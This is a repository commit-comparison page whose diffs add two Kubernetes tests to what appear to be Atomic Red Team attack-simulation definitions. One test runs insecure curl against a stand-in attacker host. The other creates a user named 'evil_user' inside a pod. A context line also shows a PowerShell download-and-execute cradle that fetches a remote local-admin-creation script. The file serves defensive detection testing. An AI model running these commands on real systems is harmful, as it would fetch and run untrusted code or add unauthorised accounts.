Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 38dff4b4c9 | |||
| 1762ecd901 | |||
| 7ce2fa4f98 | |||
| 658f08f0a8 | |||
| 0352cebfd7 | |||
| 1e11637f36 | |||
| c50a0cba09 | |||
| 73bff9fa08 | |||
| b106ba8166 | |||
| 2b35fb1355 | |||
| 5a351ceca1 | |||
| 41af6076cc | |||
| 6bbad36637 | |||
| 0005199d49 |
@@ -1268,4 +1268,34 @@ atomic_tests:
|
|||||||
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json" -Force -ErrorAction Ignore
|
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json" -Force -ErrorAction Ignore
|
||||||
|
|
||||||
name: powershell
|
name: powershell
|
||||||
elevation_required: false
|
elevation_required: false
|
||||||
|
- name: Curl Insecure Connection from a Pod
|
||||||
|
description: |
|
||||||
|
Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure)
|
||||||
|
against a target URL. The pod is automatically deleted after execution.
|
||||||
|
supported_platforms:
|
||||||
|
- containers
|
||||||
|
input_arguments:
|
||||||
|
pod_name:
|
||||||
|
description: K8s pod_name to execute the command in
|
||||||
|
type: string
|
||||||
|
default: atomic-insecure-curl
|
||||||
|
remote_url:
|
||||||
|
description: Remote URL to curl
|
||||||
|
type: string
|
||||||
|
default: https://malicious-apt.com
|
||||||
|
image_name:
|
||||||
|
description: Name of the docker image
|
||||||
|
type: string
|
||||||
|
default: curlimages/curl
|
||||||
|
dependencies:
|
||||||
|
- description: kubectl must be installed and configured
|
||||||
|
get_prereq_command: |
|
||||||
|
echo "kubectl must be installed manually"
|
||||||
|
prereq_command: |
|
||||||
|
which kubectl
|
||||||
|
executor:
|
||||||
|
name: bash
|
||||||
|
elevation_required: false
|
||||||
|
command: |
|
||||||
|
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url}
|
||||||
@@ -185,3 +185,33 @@ atomic_tests:
|
|||||||
command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
|
command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
|
||||||
name: powershell
|
name: powershell
|
||||||
elevation_required: true
|
elevation_required: true
|
||||||
|
- name: Create a Linux user via kubectl in a Pod
|
||||||
|
description: |
|
||||||
|
Launches a short-lived Alpine pod and creates a Linux user inside the pod.
|
||||||
|
The pod is automatically deleted after execution.
|
||||||
|
supported_platforms:
|
||||||
|
- containers
|
||||||
|
input_arguments:
|
||||||
|
pod_name:
|
||||||
|
description: K8s pod_name to execute the command in
|
||||||
|
type: string
|
||||||
|
default: atomic-linux-useradd
|
||||||
|
username:
|
||||||
|
description: Username of the user to create inside the pod
|
||||||
|
type: string
|
||||||
|
default: evil_user
|
||||||
|
image_name:
|
||||||
|
description: Name of the docker image
|
||||||
|
type: string
|
||||||
|
default: alpine
|
||||||
|
dependencies:
|
||||||
|
- description: kubectl must be installed and configured
|
||||||
|
get_prereq_command: |
|
||||||
|
echo "kubectl must be installed manually"
|
||||||
|
prereq_command: |
|
||||||
|
which kubectl
|
||||||
|
executor:
|
||||||
|
name: bash
|
||||||
|
elevation_required: false
|
||||||
|
command: |
|
||||||
|
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'
|
||||||
|
|||||||
Reference in New Issue
Block a user